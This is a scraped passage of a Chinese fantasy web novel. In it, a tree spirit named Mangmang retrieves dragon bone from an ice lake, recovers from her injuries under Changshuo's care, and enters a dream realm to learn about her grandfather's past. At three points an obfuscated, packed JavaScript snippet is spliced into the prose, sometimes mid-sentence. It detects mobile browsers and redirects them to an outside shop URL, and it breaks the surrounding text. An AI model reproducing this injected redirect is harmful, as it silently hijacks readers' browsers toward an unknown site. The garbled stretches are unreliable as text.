冰湖中说不好会不会遇到什么,为防常朔察觉,杧杧暂时把水环取下来揣进乾坤袋里。 据传说,冰湖内藏着的龙骨是上古应龙的遗体,应龙死后被丢进湖里,肉身被湖水侵蚀,最后留下骨架。 只需要很小很小的一块就能修好骨笛。 杧杧她用水环过来时已经在冰面上,离岸边不远。她走了会儿,只觉得奇怪,按理说湖面结冰应当是四周薄中间厚才对,但她越靠近中心冰层反倒越来越薄。或许她可以在湖心处砸出一个洞进去。 脚步加快,杧杧靠近湖心时,天空竟下起雪。纷纷扬扬的白雪如鹅毛飘落,落在脸上却是刀割般疼,风也越来越大。 风在山谷里环绕,声响巨大,真如一条巨龙在咆哮。 迎着风走很吃力,杧杧停下来想休息一下,没想到就是这一停,她在风声之外听见一丝极小极小的冰裂声。 杧杧俯首一看,从她足底生出的一条裂缝正向四周飞速蔓延。她静静地看着裂缝扩散,心里竟祈求冰层快些裂开。 突然,只听“轰——”得一声,如杧杧所愿,薄薄的冰层裂出一个大洞,杧杧落入水中。 她将提早准备好的抓钩往上一抛,一段绑在自己腰上,另一段牢牢抓住冰面,抓钩上挂了片银叶子,正是杧杧以防在水底憋死,用移感术转移呼吸用的。 湖水寒冷刺骨,纵使杧杧不畏寒,此刻在水中也不禁哆嗦一下。她朝湖底游去。 才游了没多久,杧杧就感到自己的身体仿佛被冻僵,露在外面的皮肤好似在结冰。 龙骨沉在湖底,像睡着一般蜷缩起来。龙身目测有一丈高,站在它面前就如蚂蚁般渺小。 杧杧落在龙骨后半段身体处,从龙爪上小心取下一节指骨。 “龙前辈,今日借您指骨一用,万分感谢。”杧杧心里对面前的庞然大物道。 还来不及将龙骨收好,突然湖床剧烈震动起来,杧杧差点站不稳,她赶紧往上游。 不曾想脚踝被什么东西抓住,她想游却游不动。低头一看,水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杧杧被暗流不断冲击,脑袋被震得仿佛快炸开,终于有一阵停下来后,她忍着伤口的痛思考脱身之法,肺里的空气已经越来越少,她快坚持不住了。 恍惚间,杧杧好像看见龙骨身上立着一名黑衣人。她记性好,凭着身形当下认出来黑衣人就是当初在黑市看见的那个。在水底,还能隐约听见黑衣人的笑声。 只是一眨眼,黑衣人又不见踪影。 没精力细想其他,她现在只有一个念头。 不,绝不能死在这儿! 重新振作精神,杧杧拉起绑在身上的绳子,一边竭力躲避龙骨袭击,一边试图把抓钩再次扔上去。 试过几次皆是无果后,杧杧只得另寻他法。 那龙骨仿佛有使不完的力气,想消耗它的体力几乎不可能。 杧杧解开身上的绳索,捏着两头,在下一次龙骨撞过来时,杧杧抓准时机,踩上龙骨鼻头。 龙骨在水里横冲直撞,杧杧紧紧抱住龙骨,不让自己被甩落。她再次将抓钩往上一甩,没成功,再扔一次,忽然龙骨调转方向,她差点掉下去,好在抓钩成功套住一只龙角。 杧杧稍微松点手,让自己往下掉了点。这时,她从乾坤袋里找出另一个抓钩,这回争气,一下就命中目标。 龙骨不停咆哮着,杧杧只觉得耳聋快聋了。 她抓着另一根绳索爬过去。 纵使事先有所预料,但实际操作起来仍旧十分困难。杧杧脸都憋红,终于顺着绳索爬到另一边龙角上,她把腰上系的绳子取下。 原来那根绳索已经成功套在龙骨上下颚之间。龙骨力气大,杧杧一时间拉不住它。 许是求生意识太强,杧杧不知哪儿来的力气,拼命拽着一边绳索,咬牙将龙骨的头往上掰。 龙骨挣扎间向上游去,只听“哗啦”一声,龙骨冲出湖面直飞往天际。 出水后杧杧手就软了,她无力地松开绳索,重重摔在冰面上。 她剧烈咳嗽着,将呛进去的水都吐出来,大口大口呼吸着冷空气,身上的痛尚来不及体会,肺部好像结了冰,冰渣刺痛着身体,每呼吸一下肺就像要炸开一般疼。 飞上天后的龙骨吐掉嘴里的绳索,气极了,俯身朝杧杧袭来。 杧杧躺在冰面上,眼神开始涣散,嘴里不断涌出鲜血,她好似听不见任何声音了。 在最后一刻,龙骨已近在咫尺之时,杧杧的手终于碰到乾坤袋里的水环,一瞬间消失在原地。 13. 道歉礼 “咳咳——咳——”杧杧猛地吐出一口鲜血。 她在昏迷之前,依稀记得自己用水环传送到水榭门口,只来得及看见常朔着急跑来的身影,就昏睡过去。 再次醒来时,她已经躺在床上。杧杧刚想抬手擦嘴角的血渍,另一只手比她更快递过来,替她擦干净。 杧杧转过头,对上常朔紧蹙眉头的一张脸。 “阿朔……”这一开口,杧杧才惊觉她的嗓子哑得不像样子,喉咙后知后觉地疼起来。 最后落地那一下摔得重,不止喉咙,她浑身都疼。 常朔给她喂了杯水。 “胆子不小。” 听这语气,杧杧就知道常朔气得不轻,这回怕是要苦死她了。 果然,常朔接着说:“禁足一个月。” “啊……” “三个月。” 杧杧不吭声了。 身体仿佛还能感受到湖水的刺骨,劫后余生并没有想象中轻松。杧杧想起龙骨,手下意识摸像腰间,然而那里并没有乾坤袋。 坏了。 仔细回想起来,那节指骨好像在躲避龙骨攻击时就弄丢了。 杧杧一脸颓丧。 “抱歉阿朔,你的骨笛被我弄坏了。”杧杧说着眼泪流下来,“我本想取来龙骨把它修好的,但是失败了……” 她声音沙哑,听着有些费力。 常朔一怔,原来是这样吗? 他本以为杧杧只是同往常一样出门玩儿了。但一直等到傍晚,杧杧也没回来,这不应该。 水环联系不上,而南师弥嘴巴严,威逼利诱下这才知道杧杧去了冰湖,至于去干什么他来不及问了。 得知消息的那一刻,没直接辗转去杀了木秋宜已经算常朔很冷静了。常朔本想赶去去冰湖,而就在那一刹,他感受到水环灵力波动。 下一瞬他看到的便是倒在地上浑身湿透,衣服被血水染红,伤痕累累的杧杧。 一向自持稳重的常朔只觉浑身血脉倒流一般,第二回差点失去理智。在杧杧昏迷的几个时辰里,他第二次感受到深深的无力。 第一回,是黑市那一次。 这一回,他亲眼看见。什么都比不上亲眼所见带来的巨大冲击。 那只骨笛,是有一年白笙送他的生辰礼。那时候,白笙刚刚打了胜仗。归来路上遇到作恶的苍鹭,便顺手杀了,留下它的尺骨,给他们三人一人做了一只骨笛。 以往,白笙准备生辰礼从来只会送酒,心意十足却称不上走心。常朔不爱喝酒,都分给越沨、明希挥霍了。唯有这只骨笛,他一直留着。 骨笛不在身上常朔当然第一时间就察觉到,只是他寻找半天无果,没想到在杧杧那儿。 常朔本以为骨笛坏了自己会抓狂,可比起杧杧命悬一线,好像骨笛的事可以搁一搁,他又不是必需要一件物什来挂念白笙。 所以他说:“无妨,不怪你。” “杧杧,不要再受伤了。” 女孩子年纪也不大,不必要为了无关紧要的事把命搭进去。 杧杧还想再说话,嗓子痛得又咳嗽起来。 “别说话,先把伤养好。”常朔又喂她喝水,“一切等你伤好后再商量。” 杧杧点点头,她喝了南师弥端进来的药后,又沉沉睡过去。 这一觉睡得踏实,不似昏迷时梦得扑朔迷离,她没再做梦,安安静静睡了一觉,醒来时精神都好了不少。 床位留给伤员,南师弥睡进杧杧之前呆过的吊床。说实话,这玩意儿睡着可没那么舒服,也不知杧杧怎么坚持下来的。 好在南师弥也不是娇生惯养的,不至于一点苦都吃不了,饶是如此,睡了几夜仍旧腰酸背痛。 杧杧睡醒时,见常朔并没走,就坐在她床边闭目养神。她垂眸看去,两人的手紧握在一起,常朔在源源不断地给她传送灵力。 她在床上躺了几日,常朔便寸步不离守了几日,期间喝水吃饭全由他亲自喂,杧杧简直受宠若惊。 直到她能下床后,常朔才没有彻夜守在床边,而是座到屏风后到桌案前,听到杧杧睡觉时呼吸平稳,他才放松继续看卷轴。 本来睡吊床的南师弥被常朔赶去了侧厢房,她还乐得开心,不用被人监视着睡觉,也不用担心睡到半夜掉下来。 等到杧杧伤好得差不多了,常朔这才没有每晚守着她。 然而这也才过了半个月而已,杧杧还要在房间里呆整整两个半月,想想都……不,简直无法想象。 虽说常朔嘴上表示不在意,没关系,但好歹是他珍视的物品,杧杧心里过意不去,还是得有个赔罪礼。 于是杧杧一根根数着自己的头发,挑了半天,选中几根她看着最顺眼的扯下来,手指捻着一搓,变成一根约两指粗,一尺半长的树枝。 木工活杧杧不说精通,至少做出来看着像样。树枝削削减减,最终做成一支根骨笛差不多大小的笛子。试着吹了下,声调实在呕哑嘲哳,再怎么修改还是这个声,杧杧便坚信是自己不会吹的缘故。 “你在干嘛?” 杧杧被吓一跳。 转头一看,原来是趴在窗边的南师弥。她翻窗进来,本想去床边,看着一地的木屑又无从下脚,只好搬了个凳子过来坐下。 “我做了一支木笛。” “丑。”南师弥毫不留情,但也是实话实说。以她的审美来看,确实丑。 杧杧撇撇嘴,不理会她的评价,思考何时给它上漆。 “本宫伤好了。”南师弥扯开话题。内伤渐渐恢复后,法力也回来了。 “恭喜啦!”杧杧由衷为她开心,只是没想到伤员从南师弥变成自己。 “本宫的意思是,不能白欠你的。”南师弥摸了摸鼻子,“说吧,你救本宫到底有什么目的。” 杧杧也不谦虚,正色道:“我要进幻蝶梦境。” “你疯了?” 幻蝶梦境不是闹着玩的,一不小心沉迷其中再也走不出的大有人在。 “我没疯。”杧杧拿起百分百的认真,“我想知道过去的事。” 想知道,爷爷死去的真相。 见杧杧不似开玩笑,南师弥也认真起来。 “那么本宫接下来说的,你一字一句听好。” “嗯!” “首先,幻蝶梦境虽可以回溯过往,但一半是真一半是假,全凭自己判断。 “选择真相,不会受梦境影响;若沉溺假象,则永远走不出梦境,最终魂灵消散,肉身腐败而亡。 “过去无法改变,因此入梦者在梦境中只能旁观,不能参与。强行参与,会改变因果秩序,魂飞魄散。 “最后,须知造梦者是梦境的主宰,换言之,本宫可以在梦境中杀了你。” 南师弥顿了顿,又继续说:“即使这样,你也要去吗?” 杧杧听完规则,脑子里捋了捋,随即毫不犹豫点头,“嗯。” 勇气可嘉。南师弥心里为她竖起大拇指。 幻蝶梦境虽危险,却是目前杧杧能知道过去的唯一途径,既然常朔敢提出这个方法,便是相信她有能力把控,那么她自己还有什么好害怕的。 “我有个问题。” “什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059240|194976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你方才说,梦境一半真一半假,造梦者是梦境主宰。也就是说你能选择给入梦者真相或是假象,对吗?” “不错。”南师弥唇角一勾,还挺聪明,能发现这个漏洞,“怎么,想求本宫给你安排全真相梦境吗?” 杧杧摇头,她眉眼弯弯,坦然笑说:“我没有可以和你交换的筹码了。” “本宫瞧你戴的水环不错。” 杧杧抬手,摸了摸手臂上的水纹印记。 “不行呢。”水环是阿朔给她的,怎能随便拿来与他人做交易。 “啧,没意思。”南师弥双手环抱在胸前,“等你伤好之后再来找我吧。” 杧杧点头。 她如今旧伤未愈,且不说常朔不会同意,她自己也没把握能成功走出梦境。 眼下首先得养好伤,然后……她得把笛子做好。 杧杧盯着木笛左看右看,分明不丑,笔笔直直的一支木笛,她又不信邪地又拿起来吹了几声,实在不中听。 - 平日有事可做不觉得日子难过,可如今只能躺在床上,呆在屋子里,不说一天,就是一个时辰也很难熬。 杧杧嗓子恢复后,立马跟常朔讲了黑衣人和龙骨的事。常朔听后并无大反应,只说会派人去查。 这个苦差当然就落到明希头上。 明希苦不堪言,自从他代管重溪宫,就没有时间找漂亮女仙子约会了,如今又要查案,凭什么常朔的活要他一个人干! 工期一个月,杧杧修修改改几个版本,终于做成一支满意的木笛,刷完漆经过打磨抛光,漂亮极了。 这些天,杧杧已经被允许出房间门,但活动范围也只限在水榭内。 南师弥暂时还住在水榭,她预备报完杧杧救命之恩再回南海。 今日,北丏山又下雪了。常朔叫杧杧去了房内。 “试试,给你做了件新衣服。” 自从中秋节那晚过后,杧杧发现常朔给她做的衣服越来越精致,很多都是照着大洲女孩们所穿款式做的。 今回,是一件灰蓝色绣花毛领披风。 “阿朔,我又不怕冷,你给我做披风干嘛?” “不怕冷就不能穿了?”常朔边给她整理衣领边说,“出门穿。” “哦。”杧杧任由常朔给她穿戴披风,肆无忌惮地盯着他看。 “看我做甚?” “阿朔,我也送你件礼物可好?” “嗯。”常朔答得漫不经心,他把披风拿下叠好,有些小,他得再改改。 杧杧把藏在身后的木笛拿出来,双手捧着递到常朔面前。 “这是我给你的赔礼。” 常朔顿住。这姑娘,那么轴。 他的视线却没落在木笛上,而是注意到那双手,手指纤细白皙,却不光滑,有茧,有伤口。看着实在不像一个年轻女孩子的手。 是他照顾不周。 “疼不疼?”常朔托住她的手,指腹轻轻摩挲她的伤口,指尖有丝丝细小的灵力流出,包裹着那些伤口,不一会儿,疤痕都消失了。 杧杧摇摇头。她嫌手套不方便,做木笛时便没有戴。 “你喜欢吗?” 常朔收下木笛,捏在手里把玩,质感很好。 “喜欢。” 他瞧着杧杧脸上逐渐绽放的笑容,手不受控制般,覆在她头上,轻轻揉了揉。 杧杧怔愣住,脸上泛起热意。分明是寒冬腊月的天,屋里也没有燃煤炉,怎么还会这样热? 她急需冷空气。 “我先走啦!” 说罢,快步逃出门去。 14. 幻蝶梦 养伤期间,木秋宜来过一回。他本是带着礼物来看望杧杧的,但被常朔拦在门外。 那时候杧杧正跟南师弥在屋里下棋。她被禁足,不能出门玩儿,便常去找南师弥打发时间。两个人都无聊,凑在一起还有的玩。 “杧杧!杧杧!杧……”木秋宜才不管常朔,大喊杧杧名字,但刚喊没两声,就被常朔禁言。 屋内杧杧自然听到木秋宜叫她,她让南师弥先等一会儿,开门跑出去。 “木四,你怎么来啦?” 杧杧跑过去,被常朔挡在身后。 木秋宜手舞足蹈比划着,很着急的模样,他举起木箱,极力想表达什么,奈何一点声音都发不出。 见状,杧杧大概猜到怎么回事,她轻轻拉住常朔的衣袖,撒娇似的摇了摇。 常朔注意到她的小动作,解开禁言术,但依然没让开。 “杧杧,真是抱歉,我……早知道我就不跟你说龙骨的事了。”木秋宜垂下脑袋,愧疚极了,“我的赔礼,你一定要收下!” “没关系,这又不是你的错。”杧杧收下木秋宜的歉礼,又跟他聊了两句,常朔便赶人了。 等木秋宜走后,杧杧回去继续跟南师弥下棋,晚间吃饭时两人才从棋桌上下来。 南师弥不愿跟常朔坐一起吃,自己去厨房煮了碗面端回房间。 平日里胃口极好的杧杧这日却没什么兴致。 她心里挂念着入梦境的事,常朔只说等她伤好就能去,她估摸着现在的状态也算好了,至少能动会跳,意识清醒。 因此席间一直偷看常朔脸色,饭没吃进去几口,反倒给自己看脸红了。 “吃不下?” 杧杧点点头,本来就尝不出味道,仅用来饱腹的食物而已,不饿还真吃不下。 “去打坐吧。”常朔放下手里的书,开始收拾碗筷,“书房有绿豆糕,你拿去房里,饿了吃。” “好!” 杧杧欢快地跑开了。 她小心翼翼地走进书房,时不时注意自己有没有碰着哪儿,别又打翻什么东西。 果然,常朔桌案上摆了一只点心盒。 杧杧小心抱起来,正欲离开,又瞥见桌上摊开放着一封信。从纸张质感来看,这是常朔同云中天通信用的纤羽纸。 纤羽纸用信鸢羽毛制成,轻巧便携。 窥探他人隐私是极恶劣的行为,杧杧本来是无意识看见信上的几个字,却因此定住,走不动了。 她绕道案桌前,看清楚信中内容,前面都是一些云中天事务汇报,杧杧略过跳看至最后两列。 内容大致意思是:黑市主在大量收集一种紫水晶,并且他曾经出现在北丏山过。 杧杧敏锐的直觉告诉她,这个黑市主哭脸鬼面绝对跟七年前风雪夜脱不了干系,至于他为什么收集紫水晶,目的尚不得而知。 心下有了计较,杧杧收起紧蹙的眉头,平静地走出书房,将点心盒搁置后,去院子里打坐。 入夜,杧杧换上一身利落的劲装,扎好头发,轻手轻脚往侧厢房走去。 她知道常朔的作息规律,这个点应当已经睡了,而南师弥房里的灯还亮着,正好,不用她费劲再去叫醒。 没办法,杧杧也不想这么偷偷摸摸,只是直觉告诉她,常朔暂时还不会同意她进幻蝶梦境,而她等不了那么久了。 南师弥正看书,听到敲门声走去开门,见到门外的杧杧时吓了一跳,很快明白过来她的目的。便侧身让她进屋,顺手锁好门。 “准备好了?” “嗯。” “你不怕那位生气?” “阿朔从不干涉我做自己想做的。” “即使要付出生命?” “你会这样做吗?”杧杧反问。 南师弥笑笑,她咬破手指,在杧杧额头印下血珠,“谁知道。” 下一瞬,杧杧大脑一片空白,直直往后倒去。南师弥在她倒地前将她稳稳接住,平放到床上,自己坐在床边。 “真折腾人。”随后,南师弥闭眼凝神。 - 不知过了多久,杧杧再次睁眼,印入眸中的是一片雪白。她站起身来,环顾四周,发现自己就在北丏山山顶,不远处的断崖边,立着一株细瘦的小树苗,在风中东倒西歪。 看来她已经入梦。 梦境里和现实中感觉并无不同,只是……杧杧抬手看了看,自己身体呈一种半透明状态。 杧杧往前走去,站到曾经的自己旁,等了好一会儿都不见有人来。 看树苗的长势,这应当是她刚被凛发现的时候,还没遇见常朔。 杧杧干脆坐到树苗旁慢慢等。 直到天色越来越暗,风雪越来越大时,她才看到远处走来一个摇摇晃晃的身影。 杧杧立马站起身,目不斜视紧盯着那个身影。 蓦地,只见那人没走稳摔倒在地,杧杧心揪紧,下意识想跑过去扶,想起南师弥的话,又生生按耐住,只是抓紧了两侧衣裙。 没过一会儿,那人从地上爬起来,拍拍雪,又摇摇晃晃朝这边走来。 等人终于走近,能看清脸后,杧杧的眼泪再也不受控制,一瞬间夺眶而出。 她许久没见过爷爷的脸庞了。 凛长得高大,即使年纪大了,脊背仍是挺直的。他留着一大把长到胸前的花白胡须,面目和蔼。 他腰间时常挂着一只酒壶,总喝得醉醺醺,路也走不稳。一开口,浑厚的嗓音能穿透山谷。 “爷爷……”杧杧早已泪流满面,她呢喃着,声音哽咽,只是凛听不到。 凛喝完最后一口酒,砸吧砸吧嘴,对着雪杧树傻傻一笑:“呐,喝完啦,哈哈哈。” 笑着,他坐在雪杧树跟前,稀奇地摸摸她只有一节指节大小的银灰叶片。 “哟呵,以前没过你呢,新来的吧?”凛扒拉完树叶,又去摸她的漆黑树干,“啧,长这么瘦。” 风越来越大,吹乱凛的胡须和满是补丁的旧衣服,风也越来越冷,杧杧脸上的泪水被吹得结出霜花。 只见凛脱下自己的外套,抖了抖雪,围住瘦弱的雪杧树,替她挡住大风。 “知道自己娇气,就别来北丏山这种地方嘛。”小老头叹口气,自顾自道,“说你娇气嘛,嘿哟,又能自己长这么大。说你坚强嘛,都快被吹断了。” 说了会儿话,凛打个哈欠,喝过酒困意涌上来。他这么坐着,手里还举着外套,迷迷糊糊就睡着。 杧杧走近两步,蹲下来,想为凛拍去身上的雪花,然而她根本无法触碰,手直接穿透凛的身体。 杧杧手顿在空中,无奈地长叹口气,她倒是想改变过去,岂料连机会都没有。 虽然知道这么做没什么用,杧杧还是选择把手挡在凛头顶,雪花静静落下,穿透她的手掌,落在凛身上,不一会儿,小老头就被围成一个雪人。 这时,风骤然变大。凛被吹醒,他手里的衣服没拿稳被吹飞,雪杧树摇摆着,好像真的要被吹倒了。 凛又打了个哈欠,站起身来,迎着风走到雪杧树身侧,再次坐下。 变化只在瞬息间,只见凛周身灵光闪闪,倏然,取代他的是一棵拔地而起的高大雪松。 凛活得时间久,修炼到一定程度,本体早已被炼化为他自己灵体的一部分,不再受大地束缚,可自由移动。 雪松在北丏山生活了几千年,对于这种程度的风雪早已无所畏惧。他树身巨大,三人环抱才足够,雪杧树苗在他面前就是小不点。 凛喝醉了酒,又化出本体,这一睡不知多久才能醒来了。 杧杧走过去,头虚抵在雪松粗壮的树身上,她闭上双眼,一滴泪再次不争气地落下。 再次睁眼时,杧杧发现自己身在水榭。 这晚月明星稀,微风轻拂,在北丏山是个难得的好天气。 杧杧有什么预感似的,突然转身,正对上常朔视线。纵使知道这是梦境,还是心跳漏一拍。 常朔这身打扮和他平日并无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059241|194976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太大差别,长发散在身后,墨青古袍与他十分相衬。 水榭平台上,他端端正正地坐在那儿,身前茶盏已空,瞧着只觉清风霁月,古朴之气扑面而来。 常朔被叫做“俏天秤”真不是没有原因的。天上人间有谁美得过他,杧杧想不到。 不过很快杧杧便确定常朔并不是在看她,而是她身后朝这边走来的凛。 杧杧下意识为凛让开一条道。 听他们谈话,这应当是她与常朔初识的那个夜晚。 二人说着就要去断崖边,速度极快,杧杧跟不上。等她哼哧哼哧又跑到断崖边时,看到的便是常朔手指抵在额间,抽出一丝神力赐给瘦弱的雪杧树的场景。 杧杧记忆里没有这个片段。 她回想了下,那晚的记忆好像缺失一部分,只有空白。应当是伊果受损的缘故,导致她不仅体弱,没有味觉,还丢失了一部分记忆。 杧杧当然知道那道神力代表什么,只见常朔给出星愿后,雪杧树苗摇摆幅度小了许多,叶片也亮了许多。 原来是这样……她从前只知道自己化形后是常朔一直照顾,才不至于刚化形便魂飞魄散,灵体夭折而亡。却不知,若不是常朔,她可能活不到长大。 难怪她不过修炼千年,就能自由移动本体了。 面前近在咫尺的背影,这一刻无比高大。 “或许,这是本君同她的缘分。” “谢谢你,阿朔。”杧杧睫毛轻颤,眉眼带笑。 风声停了,杧杧眼前白光闪过,画面一转,仍旧是断崖边,只是这回杧杧感觉有些异样,她说不上来,便没多想。 眼中是熟悉的画面,两人一树,雪杧树已经长高了许多,叶子也繁茂许多,常朔端坐在桌前观察棋局,凛与他对坐,眼底含笑,一边喝酒一边同常朔讲话。 这个夜晚圆月当空,照亮四方天地,雪杧树银灰色的叶片闪烁不停,这片断崖一如白昼。 凛说起话来不停,常朔偶尔应声。 不知怎的,杧杧看到这画面莫名想笑,她也是这般与常朔相处的。 二人对弈好似陷入僵局,凛难得噤声,皱眉思考转圜方法。 杧杧走近些,蹲在棋桌旁眼关棋局。常朔为黑子,凛则执白子。 白子杀伐果断,不懂迂回般喜欢直接给出,而黑子则是游刃有余,看似不相关的几步,串联起来却形成一张暗网,容易让人吃大亏,尤其是凛这种直性子的。 “九之十三,打吃。”杧杧在心里替白子下了这一步,若凛照她这样下,便能反将一军,喘口气。 杧杧的棋艺是常朔教的,自然了解他下棋路数,打法也带有他的风格。 显然,凛没有那样下,也没直接落入常朔的陷阱,虽有惊无险地躲开了,但后面或许会变得被动。 “神君,咱上次聊的话题,老朽提了一问,你还没回答吧?”凛乐呵呵地往嘴里灌口酒,“是如何?” “下棋堵不住你的嘴。”常朔落下一子。 “嘿嘿,这不是好奇嘛。”凛思忖棋局,并急忙做出回应。 “有。”常朔道。 “当真?” “嗯。” “嘿哟,老朽可就等着吃您的喜酒喽!”凛哈哈大笑。 听到这儿,杧杧意识到凛的问题是什么。她心一沉,原来阿朔这么早就已经有喜欢的人吗? 二人继续下棋,杧杧却看得心不在焉了。阿朔喜欢的人,是送他骨笛的人吗?骨笛做得那样用心,定是与阿朔关系极好吧? 杧杧盯着常朔的脸,不放过任何一个表情甚至眼神,想从中找到答案。 然而观察得越仔细,杧杧的心里的刺就扎得越深,她好像停止呼吸了。 如溺水之人,挣扎着想要空气,却看着水面越来越远。杧杧仿若再次置身冰湖中,被水草紧紧缠绕、包裹,几乎快窒息。 就在她即将被吞噬时,听见一个熟悉的声音道, “好啊,到时一定让你坐主桌。” 15. 当年事 “好啊,到时一定让你坐主桌。” 这句话不停萦绕耳边,杧杧一下清醒过来,溺水的人终于能再次呼吸。 她知道先前自己为何感到异常了。 从她在这儿看棋到现在,没有风!是的,她没有感受到一丁点儿风,也没听到哪怕一丝风的声音。 这便是不对劲的地方。 常朔提到过,幻蝶梦境以风为媒介,而南师弥曾说,梦境真假参半。二者联合起来细想,杧杧便明白过来,要判断真相或假象,就看梦境里有没有风! 有风,即真相;无风;即假象。 她之所以能突然想通,正是因为常朔的那句话。 以她对常朔的了解,这种情况下他绝不会这样搭话,相反他可能会告诉凛,他受不起那样高的期待。 只因常朔是个极有边界感的人,对于未知的事情,他从不会主动越界,去预测其发生的可能性。 好险,差点就沉溺于假象中无法自拔,杧杧下意识甩甩脑袋,要让自己清醒一下。 接着要思考的,是如何破局。 真相是回溯过往,不能干预不能改变,那么相对的,要破假象,就得变。 若她猜的不错,改变假象本来结果就是破局关键。她要做的,就是让这场博弈中本来要输的一方反败为胜。 很显然,凛落于下风。 这下杧杧可犯了难,她该如何打败常朔?且不说下棋这方面她还未出师,就是出师了,也不能保证一定能胜过常朔。 无论如何,也只能硬着头皮上了。杧杧站到凛身侧,分析当下局势。 下到这一步的残局,乍一看凛已有必输之势,然而也不是毫无生机。 就在凛要落下一子时,杧杧抓住他的手腕,这回不再抓空。 妙极!果真如她所想。 杧杧抓着凛的手,将棋子下在另一处,棋局有了隐隐扭转之势!接下来几个回合,她先是同常朔迂回一番,再借力打力,暗暗化被动为主动。 常朔也打起精神,咬紧了不放。 二人再次陷入僵局。 杧杧没急着落子,她头脑风暴,不断拆解、推演,试图找到破绽,抽空看了眼常朔,对方平静无波的脸上此刻已出现一丝裂痕。或许这局棋没有她想象中那么难打。 想清楚后,杧杧决定兵行险招,来一记“胜负手”,落子在十六之十八处。 白子落下,局面彻底被扭转,生生从一潭死水中挣扎出来,将黑子打个措手不及。 “你输了。”杧杧落下最后一子,抬头朝常朔笑了笑,“南师,承让。” 棋局之初她便发现,虽是常朔和凛两人的对弈,棋路也全然不同,但有一个问题。 回合之间稍显刻意,好像刻意露出破绽,让黑子不至于一招制胜,白子亦有转圜余地。 虽然棋路明显不同,但归根结底这局棋中,黑白子的进攻和防守在节奏上是同步的,他们都有相同的底层逻辑,细细就能发现其实是一人所下。 造梦者是梦境主宰,真相无法改变,假象却可以。就是说,假象本质上是由造梦者将真相拆解、组合,再进行扭曲和伪造得来的。 这样一看,同她下棋的便不是常朔,而是南师弥本人。常朔她赢不了,赢南师弥还是有信心的。 在杧杧说完后,面前的“常朔”逐渐消散,假象开始崩塌。 风又起,杧杧被带往下一个梦境片段中。 这次她看见的,是雪杧树下躺在藤椅上缝衣服的常朔。这时候的雪杧树已经比人高,常朔捏针线的手法也更加熟练。 这场景在她成长的一千年里相似的多了去了,杧杧也不确定自己是否有这段记忆,只能先观察一阵。 天空又开始落雪。 过了会儿,常朔终于将手上的东西弄好,他收起工具,将做好的披肩展开看了看,尺寸较小,颜色很可爱,看上去是给小孩穿的。 他将披肩暂时搁在藤椅上,往前走几步便蹲下来,开始将地上的雪拢到一处。 杧杧也走过去蹲在他跟前,想瞧瞧常朔要干什么。 大约半柱香的时间后,答案揭晓。 大名鼎鼎、不苟言笑的天神常朔,竟如孩童般,在地上堆了个半人高的雪人。 雪人有鼻子有眼,头上顶了两个小髻,常朔技术不赖,堆出个雪人小姑娘。 常朔起身拍拍手,对自己的作品很满意,他走回藤椅边拿上刚做好的披肩,蹲在雪人跟前给她穿上,大小正正好好。 杧杧一头雾水,她凑近一看,才发现披肩衣领处,常朔还费心绣了个与披肩不同色的“杧”字。 原来是给她的。但她从未见过这件披肩,也从不知道常朔给她做过这种大小的衣服。 杧杧不禁莞尔,常朔不知道她化形后是什么样,所以衣服从小孩做起,他不知道大小合不合身,所以捏个雪人出来试穿。 糟糕,心上人真把自己当孩子养了。 常朔一本正经给雪人穿衣服的样子真的很可爱,杧杧越看越喜欢。她又沮丧自己的伊果还没长好,失去的记忆还没恢复。 她到底遗忘了多少与常朔相处的时光? 梦境里时间飞速,一千年不过眨眼之间,这千年来常朔的生活又无聊至极,走马灯似的就过完。 这回梦境转换时,与之前都不同,杧杧只觉得身体被束缚住,动弹不得。她眼前是一片漆黑,耳边只有微弱的风声,不知身处何地,身在何时。 好在疑惑并未持续太久。 突然,黑暗中闪出刺眼的白光。杧杧下意识眯起眼睛,随后她发现自己能动了,却不是主动的,而更像被别人带着走。 这感觉就好像,她住进了别人的身体。 身体开始跑起来,并且越跑越快,杧杧甚至能感受到这具身体的心慌。这种心慌不只是剧烈奔跑带来的,更是一种情绪上的恐慌。 杧杧只能通过这具身体看到外面世界,一眼望去尽是白茫茫的积雪,应当是北丏山无疑。 路上风渐渐变大,杧杧判断出他们前进的方向是断崖。抬头看看天空,早已乌云密布。 “坏事!” 杧杧听见“自己”开口说话,然而这声音苍老又浑厚,带着怒意,分明是凛的声音。 莫非,她现在是在凛身体里? 南师弥在搞什么!杧杧无语片刻。 天色越来越暗,黑压压的乌云笼罩天空,叫人喘不过气来,一场巨大的暴风雪就要来临。 是了!今夜就是杧杧化形的那个雪夜。 凛一路狂奔冲上山顶,断崖边狂风呼啸,雪杧树被吹得树叶沙沙作响。仔细一看,树冠上有处地方正闪着微弱的光亮,已经开始结果了。 视线有些模糊,杧杧下意识想伸手揉揉眼睛,又想起来现在身体不受自己控制。并且她反应过来,视线模糊不是因为风雪迷了眼睛,而是凛年纪大了,视力退化,看东西模糊是正常的。 雪杧树化形时,须一次性结出包括伊果在内的十颗果实。果实由大到小依次长出,伊果作为其中最小的,在最后也是化形最关键时候长出来。 